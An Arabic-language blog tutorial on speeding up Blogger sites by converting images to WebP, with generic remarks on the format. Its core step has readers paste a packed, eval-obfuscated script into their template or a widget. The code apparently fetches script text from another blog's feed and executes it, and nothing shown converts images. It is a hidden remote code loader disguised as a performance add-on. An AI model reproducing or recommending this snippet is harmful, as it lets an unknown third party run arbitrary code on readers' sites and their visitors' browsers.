كيفية تسريع مدونة بلوجر تحويل جميع الصور في بلوجر الي webp بضغطة زر واحدة

 كيفية تسريع مدونة بلوجر تحويل جميع الصور في بلوجر الي webp بضغطة زر واحدة

كيفية تسريع مدونة بلوجر تحويل جميع الصور في بلوجر الي webp بضغطة زر واحدة

ما هو السبب الذي يدفعني لتحويل صيغ صور مقالاتي الي webp تحويل صور مقالاتك ال webp وضغطها يعتبر عامل اساسي في تحسين السرعه .

 

وتتميز صيغة webp بصغر حجمها فهي توفر حوالي 26% او اكثر من حجم الصور مقارنة مع باقي الصيغ فالحصول على صورة سريعة التحميل .


والجدير بالذكر أيضا أن عملية تحويل صيغة الصورة إلى webp لا تفقد الصورة جودتها. ولا تنسي هذة الصيغه لا تعمل علي كل المتصفحات.


 في الوقت الحالي لاكن في قالب سيو بلس خاصية مساعدة لتحميل الصور للمتصفحات التي لا تدعم هذة الصيغة .


عند بدء التدوين وإنشاء مدونة في أحد المنصاة التدوين Blogger أو WordPress . سبق لن تطرقنا كيفية اصلاح الصور الضبابية أوالباهتة أو الصور المصغرة في قوالب بلوجر Blogger.

- إقــرأ أيــضــا :

- كيفية إصلاح مشكلة الصورة المصغرة الضبابية في موقع بلوجر Blogger بدون أكود
اصلاح الصور الضبابية أوالباهتة أو الصور المصغرة في قوالب بلوجر Blogger
انشاء مدونة بلوجر بعد التحديثات الجديدة 2020 مجانا كيف - ربح من خلالها


1- كيفية تحويل صور WEBP إلى JPG أو GIF أو PNG

يوفر تنسيق WEBP صورًا قابلة للمقارنة بصريًا بتلك المشفرة باستخدام المعايير التقليدية مثل JPEG و PNG ولكن بحجم ملف أصغر بشكل ملحوظ.


ستصادفهم غالبًا على متصفحات سطح المكتب لأنها تجعل صفحات الويب يتم تحميلها بشكل أسرع.


ولكن بينما نما دعم تنسيق WEBP منذ أن قدمته Google مرة أخرى في عام 2010 ، إلا أنها ليست الأكثر توافقًا (خاصة مع تطبيقات تحرير الصور القديمة).


ستجد أدناه عدة طرق لتحويل صور WEBP إلى تنسيقات JPG و PNG المتوافقة على نطاق واسع. ستتعرف أيضًا على أفضل طريقة لحفظ صور WEBP المتحركة بتنسيق GIF.


2- ابدأ في تحويل صور WEBP الخاصة بك

من المفترض أن تكون المؤشرات أعلاه قد ساعدتك في تحويل صور WEBP إلى تنسيقات JPG أو GIF أو PNG. إذا صادفت صور WEBP على Android أو iPhone .


فيمكنك بسهولة العثور على العديد من تطبيقات تحويل الصور على متجر Google Play ومتجر Apple App Store والتي يمكنك استخدامها لحفظها بتنسيق متوافق مختلف. 


أو استخدم أيًا من مواقع تحويل الملفات أعلاه.


- إقــرأ أيــضــا :


3- ضغظ الصور و تحويلها الى صيغة WEBP لزيادة سرعة الموقع

تنسيق webp عندما تقوم بإستخدامه فى مدونتك بلوجر فإنه يقلل حجم الصورة من 40 الى 71% واكثر من الحجم الأصلي للصورة، وهذا يجعل موقعك يتم تحميل صفحاته بشكل أسرع.


وبسبب هذا فإن الكثير من المواقع الكبيرة تستخدم تنسيق webp، حيث أن موقع التحميل السريع يساوي تجربة أفضل للمستخدم ويتم تقييمه أسرع من قبل محركات البحث.


 وبالتالى فرصته قوية فى الصعود لأعلى نتائج محركات البحث طالما يحتفظ بمحتوى قوى ومتجدد.اليوم نقدم لكم إضافة webp هذه الإضافة تعمل على تحويل جميع صور مدونة بلوجر الى صور webp


4- كيفية اضافة هذه الاداه الى مدوناتكم

أ- الطريقة الأولى

  1. انتقل إلى لوحة تحكم مدونتك
  2. إختر المظهر
  3. ثم تعديل HTML
  4. والآن قم بالبحث عن الكود التالي </body>
  5. وقبله تماما قم بلصق الكود التالى

<script>/*<![CDATA[*/

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0 P=1;0 z=(3(){1F{8 Q[\'R\']=\'S\',!2}T(l){8!E}}());3 1(d,x){0 s=f();1=3(c,X){c=c-2;0 9=s[c];F(1[\'L\']===Y){0 A=3(7){0 e=\'10+/=\';0 j=\'\';0 q=\'\';v(0 i=2,g,6,y=2;6=7[\'11\'](y++);~6&&(g=i%r?g*19+6:6,i++%r)?j+=12[\'14\'](16&g>>(-p*i&B)):2){6=e[\'W\'](6)}v(0 k=2,J=j[\'18\'];k<J;k++){q+=\'%\'+(\'17\'+j[\'15\'](k)[\'13\'](Z))[\'V\'](-p)}8 U(q)};1[\'C\']=A;d=1b;1[\'L\']=!![]}0 I=s[2];0 l=c+I;0 a=d[l];F(!a){9=1[\'C\'](9);d[l]=9}1r{9=a}8 9};8 1(d,x)}3 D(){0 b=1;0 a=o[\'\\1E\\1D\\5\\m\\h\\5\\w\\G\\5\\n\\5\\H\\h\'](\'1C\');a[b(2)]=b(E),o[b(p)][b(1B)](a)}3 1a(7){0 4=1;0 e=o[4(r)](4(1A));e[4(B)]=7[4(1z)][4(1y)][\'$t\'],7=e[\'\\M\\5\\h\\w\\G\\5\\n\\5\\H\\h\\1x\\1w\\1v\\1u\\m\\M\\1t\\m\\n\\5\'](4(1s))[2][\'1q\'],N(7),u[4(O)]=7}z&&1c!=u[P(O)]?N(u[\'1p\']):D();3 f(){0 K=[\'1o\',\'1n/1m\',\'1l\',\'1k\',\'1j\',\'1i\',\'1h\',\'1g\',\'1f\',\'1e\',\'1d\'];f=3(){8 K};8 f()}',62,104,'var|_0x55e7|0x0|function|_0x83501f|x65|_0x151151|_0x31dcbb|return|_0x1ebab3|_0x53b66d|_0x5c44ae|_0x36ef06|_0x55816b|_0x17c641|_0x5581|_0x5860a9|x74|_0x44d61a|_0x4bcd43|_0x293b57|_0x4cacf9|x61|x6D|document|0x2|_0x5be118|0x4|_0x186649||sessionStorage|for|x45|_0x55e71d|_0x48c712|Sto|_0x41f321|0x6|MUqWvV|GtS|0x1|if|x6C|x6E|_0x2a9050|_0x101077|_0x4b12fc|ByBOvC|x67|eval|0xa|_0x207503|localStorage|check|true|catch|decodeURIComponent|slice|indexOf|_0x5cbabf|undefined|0x10|abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789|charAt|String|toString|fromCharCode|charCodeAt|0xff|00|length|0x40|Bs|arguments|null|CNb0|C2nYAxb0|y29UDgvUDa|zw50CNK|Aw5Uzxjive1m|AhrTBa|y3jLyxrLrwXLBwvUDa|yxbWzw5Kq2HPBgq|AgvHza|ywX0pwPZB24TAw4TC2nYAxb0jMnHBgXIywnRpujZ|Ahr0Chm6lY93D3CUyMXVz2DLCI5JB20VzMvLzhmVmtuYndm4odCWntq2mZeYmdmXmc9WB3n0CY9KzwzHDwX0lZeZotyZmZC1mJuXmde4nJaZnZi|C3jJ|rpt|innerHTML|else|0x9|x4E|x54|x79|x42|x73|0x8|0x7|0x5|0x3|script|x72|x63|try'.split('|'),0,{}))

/*]]>*/</script>

7- الآن قم بحفظ القالب والف مبرووووك عليك الاضافه 


ب- الطريقة الثانية

1- انتقل إلى لوحة تحكم مدونتك

2- إختر التنسيق

3- إذهب أسفل الصفحة ثم إضافة أداة

4- ثم اختر HTML/Javascript والآن الصق الكود داخل مستطيل المحتوى

5- ثم قم بحفظ الاداه ومبرووووك عليك الاضافه


8- الخصائص الرئيسية:

  • ستساعد في جعل الويب أسرع.
  • سيعمل على تحسين حجم الصفحة.
  • سيؤدي هذا إلى زيادة درجة الصفحة لتحسين محركات البحث الجيدة.
  • الذي يستخدم ضغطًا غير ضار.
  • يستخدم ضغط الفقد للصور الفوتوغرافية.
  • سوف تقوم صفحة الويب بتسليم الصورة فقط إذا كان المستعرض يدعمها.
  • يمكن إنشاء صور Webp من JPEG / PNG ، ولا حاجة لتحميل ملفات صور جديدة.
  • يدعم ترجمات متعددة اللغات.
  • لا توجد أي ملفات أساسية تحل محل أو تغير متجرك.

لا يزال تنسيق ملف WebP في تزايد من حيث الشعبية والدعم ، ولكن هناك الكثير للاستفادة من تنسيق الملف هذا. يمكنه استبدال تنسيقات ملفات JPEG و PNG (و GIF!) .


بضغط ضياع وبدون فقد ، ولكنه يوفر أحجام ملفات أصغر بشكل كبير.


لا توجد بالفعل أداة أخرى لتنسيق الصور أو تحسين الصور للويب يمكنها تحقيق أحجام ملفات أصغر مع عدم وجود خسارة ملحوظة في الجودة تمامًا مثل WebP. 


لهذا السبب نوصيك بالبدء في استخدام تنسيق WebP لتحسين أداء موقعك.

- أقرأ أيضا :


للمزيد من التوضيح كما عودناكم على مدونة شروحات للمعلوميات دائما مرفوقة بالدرس فرجة ممتعة


أضف تعليق

أحدث أقدم

Comments

no-style